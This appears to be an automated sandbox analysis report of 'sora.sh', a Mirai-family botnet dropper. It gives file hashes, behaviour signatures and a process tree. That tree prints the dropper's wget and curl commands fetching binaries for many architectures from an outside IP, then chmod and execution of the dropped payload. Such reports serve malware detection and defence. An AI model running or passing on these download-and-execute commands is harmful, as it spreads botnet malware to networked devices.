Analysis

  • max time kernel
    34s
  • max time network
    39s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03-08-2024 05:14

General

  • Target

    sora.sh

  • Size

    2KB

  • MD5

    fe9fcc98f0d2d8350fd699bb3edf3419

  • SHA1

    5480c071e63cc7dd040b18ebc62c4a3cb7d5b5eb

  • SHA256

    faa68fe6ab7972ae17be23f4bed8c482a676935fcf257dca0cc6e51699e16213

  • SHA512

    4994f7fc91e833a29b978f9ddd49657554ba0b4cf4c7e3f6d0d956447c45eb876f85e97644481267b58cd0172d471a0e6da89bba9998d14a22ebf499695d054c

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Executes dropped EXE 10 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 22 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sora.sh
    /tmp/sora.sh
    1⤵
    • Writes file to tmp directory
    PID:659
    • /usr/bin/wget
      wget http://91.92.252.2/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:666
    • /usr/bin/curl
      curl -O http://91.92.252.2/bins/sora.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:672
    • /bin/cat
      cat sora.x86
      2⤵
        PID:682
      • /bin/chmod
        chmod +x robben sora.sh sora.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-ceP5dY
        2⤵
          PID:684
        • /tmp/robben
          ./robben Payload
          2⤵
          • Executes dropped EXE
          PID:685
        • /usr/bin/wget
          wget http://91.92.252.2/bins/sora.mips
          2⤵
          • Writes file to tmp directory
          PID:687
        • /usr/bin/curl
          curl -O http://91.92.252.2/bins/sora.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:691
        • /bin/cat
          cat sora.mips
          2⤵
            PID:696
          • /bin/chmod
            chmod +x robben sora.mips sora.sh sora.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-ceP5dY
            2⤵
              PID:697
            • /tmp/robben
              ./robben Payload
              2⤵
              • Executes dropped EXE
              PID:698
            • /usr/bin/wget
              wget http://91.92.252.2/bins/sora.x86_64
              2⤵
              • Writes file to tmp directory
              PID:700
            • /usr/bin/curl
              curl -O http://91.92.252.2/bins/sora.x86_64
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:701
            • /bin/cat
              cat sora.x86_64
              2⤵
                PID:702
              • /bin/chmod
                chmod +x robben sora.mips sora.sh sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-ceP5dY
                2⤵
                  PID:703
                • /tmp/robben
                  ./robben Payload
                  2⤵
                  • Executes dropped EXE
                  PID:704
                • /usr/bin/wget
                  wget http://91.92.252.2/bins/sora.i468
                  2⤵
                    PID:707
                  • /usr/bin/curl
                    curl -O http://91.92.252.2/bins/sora.i468
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:709
                  • /bin/cat
                    cat sora.i468
                    2⤵
                      PID:713
                    • /bin/chmod
                      chmod +x robben sora.i468 sora.mips sora.sh sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-ceP5dY
                      2⤵
                        PID:714
                      • /tmp/robben
                        ./robben Payload
                        2⤵
                        • Executes dropped EXE
                        PID:715
                      • /usr/bin/wget
                        wget http://91.92.252.2/bins/sora.i686
                        2⤵
                        • Writes file to tmp directory
                        PID:717
                      • /usr/bin/curl
                        curl -O http://91.92.252.2/bins/sora.i686
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:720
                      • /bin/cat
                        cat sora.i686
                        2⤵
                          PID:724
                        • /bin/chmod
                          chmod +x robben sora.i468 sora.i686 sora.mips sora.sh sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-ceP5dY
                          2⤵
                            PID:725
                          • /tmp/robben
                            ./robben Payload
                            2⤵
                            • Executes dropped EXE
                            PID:726
                          • /usr/bin/wget
                            wget http://91.92.252.2/bins/sora.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:729
                          • /usr/bin/curl
                            curl -O http://91.92.252.2/bins/sora.mpsl
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:735
                          • /bin/cat
                            cat sora.mpsl
                            2⤵
                              PID:738
                            • /bin/chmod
                              chmod +x robben sora.i468 sora.i686 sora.mips sora.mpsl sora.sh sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-ceP5dY
                              2⤵
                                PID:740
                              • /tmp/robben
                                ./robben Payload
                                2⤵
                                • Executes dropped EXE
                                PID:742
                              • /usr/bin/wget
                                wget http://91.92.252.2/bins/sora.arm4
                                2⤵
                                  PID:744
                                • /usr/bin/curl
                                  curl -O http://91.92.252.2/bins/sora.arm4
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:747
                                • /bin/cat
                                  cat sora.arm4
                                  2⤵
                                    PID:750
                                  • /bin/chmod
                                    chmod +x robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.sh sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-ceP5dY
                                    2⤵
                                      PID:752
                                    • /tmp/robben
                                      ./robben Payload
                                      2⤵
                                      • Executes dropped EXE
                                      PID:753
                                    • /usr/bin/wget
                                      wget http://91.92.252.2/bins/sora.arm5
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:754
                                    • /usr/bin/curl
                                      curl -O http://91.92.252.2/bins/sora.arm5
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:758
                                    • /bin/cat
                                      cat sora.arm5
                                      2⤵
                                        PID:764
                                      • /bin/chmod
                                        chmod +x robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.sh sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-ceP5dY
                                        2⤵
                                          PID:766
                                        • /tmp/robben
                                          ./robben Payload
                                          2⤵
                                          • Executes dropped EXE
                                          PID:767
                                        • /usr/bin/wget
                                          wget http://91.92.252.2/bins/sora.arm6
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:768
                                        • /usr/bin/curl
                                          curl -O http://91.92.252.2/bins/sora.arm6
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:782
                                        • /bin/cat
                                          cat sora.arm6
                                          2⤵
                                            PID:785
                                          • /bin/chmod
                                            chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.sh sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-ceP5dY
                                            2⤵
                                              PID:786
                                            • /tmp/robben
                                              ./robben Payload
                                              2⤵
                                              • Executes dropped EXE
                                              • Reads runtime system information
                                              PID:787
                                            • /usr/bin/wget
                                              wget http://91.92.252.2/bins/sora.arm7
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:788
                                            • /usr/bin/curl
                                              curl -O http://91.92.252.2/bins/sora.arm7
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:822
                                            • /bin/cat
                                              cat sora.arm7
                                              2⤵
                                                PID:823
                                              • /bin/chmod
                                                chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.sh sora.x86 sora.x86_64
                                                2⤵
                                                  PID:824
                                                • /tmp/robben
                                                  ./robben Payload
                                                  2⤵
                                                  • Executes dropped EXE
                                                  • Changes its process name
                                                  • Reads runtime system information
                                                  PID:825
                                                • /usr/bin/wget
                                                  wget http://91.92.252.2/bins/sora.ppc
                                                  2⤵
                                                    PID:826

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/robben

                                                  Filesize

                                                  27KB

                                                  MD5

                                                  545cc0b3e5dae8244debe55a41e14a9f

                                                  SHA1

                                                  101ad459b5b114c0a79c458cd0c0d2374a3698a1

                                                  SHA256

                                                  a916866d96e7215899fb4387c14b52725ec83de463dd0302c8cc72b8cade2d91

                                                  SHA512

                                                  1e90d63777c07e490540fe00f41a2f50d157c0e2b7c979204e8fc5a9775cbdd21a7e317290c82c552897cdb30320a08d1ca705e33e1d947e837ff14e6ca56611

                                                • /tmp/robben

                                                  Filesize

                                                  28KB

                                                  MD5

                                                  8d068eba527935d34fbff880f4cf7530

                                                  SHA1

                                                  82f50f55fb025735b62fca14362600132b21c2d0

                                                  SHA256

                                                  bce45bca1f30fecce6ce8bf4c4dfcc1c9c19517144398aa91b9a63c01995c147

                                                  SHA512

                                                  6cc29217a507b4072469b11f63a8da070a70e4228a36a0ea612f905789ca0f829c47bd290d9c09024bfe88c7e28fff8d430e9e9def5a6124b90cedb49f029c14

                                                • /tmp/robben

                                                  Filesize

                                                  28KB

                                                  MD5

                                                  fa8042bc292cb4403494d779833de7ca

                                                  SHA1

                                                  a78431e9ef2fac7f3a909c06a81e643369a17ee4

                                                  SHA256

                                                  1ec5ec93f91f140dbdfbb8a3f79828be32737673e60b6b8999d3a5c520a1b5f5

                                                  SHA512

                                                  fe9e309c7b18a1c25d10d418cea499a1385f4c227fb5a64e491b1ca3d5819a5677f80280194b4dcc2aa7cc69aa6b7c1775a3cd54143f45aed0dc0ddcb199de82

                                                • /tmp/robben

                                                  Filesize

                                                  212B

                                                  MD5

                                                  83ab6cd9a67528bbc6f4f360cb7f8d83

                                                  SHA1

                                                  07e8f17209e0569aab39f062568ff0090d9b20d4

                                                  SHA256

                                                  3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

                                                  SHA512

                                                  171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

                                                • /tmp/robben

                                                  Filesize

                                                  28KB

                                                  MD5

                                                  a9d839dd97abb474595bc7e18157aa64

                                                  SHA1

                                                  82c1ec7eae6dd1bc7dcfd1e89911d328c899c885

                                                  SHA256

                                                  3bb3ff14162d0b66a51f448e8ff9e9018aa0040941de829f8748911b4471d90d

                                                  SHA512

                                                  4311ce9b061bf6f01b3b004eb0c0b14a4fb86b1a11c040fd8b633c3a3a27821c74775a4eeec82d22e8eacddbc35736814800dcf9dbca85218f189fda4b1d8993

                                                • /tmp/robben

                                                  Filesize

                                                  51KB

                                                  MD5

                                                  e72c2c2ffa7161b4dccea4ed34785c2a

                                                  SHA1

                                                  af392b3dcaaac89b76794e4d67ec02055dbe6d7a

                                                  SHA256

                                                  c5f439d49fb65081bb4b21fe928b7492cd52e43f6a63380389758c719bbf3f89

                                                  SHA512

                                                  fa17789905a834a7d4de21bf7d0bd938b346b142ad34e0c32aef85ccd8296b72d026e6483136e67df2d5a0f0f6a91e3e0ccaf464b3ce56a2ceebf5c2de63273a

                                                • memory/767-1-0x00008000-0x0001e9e4-memory.dmp

                                                • memory/787-2-0x00008000-0x0002db14-memory.dmp

                                                • memory/825-3-0x00008000-0x00029790-memory.dmp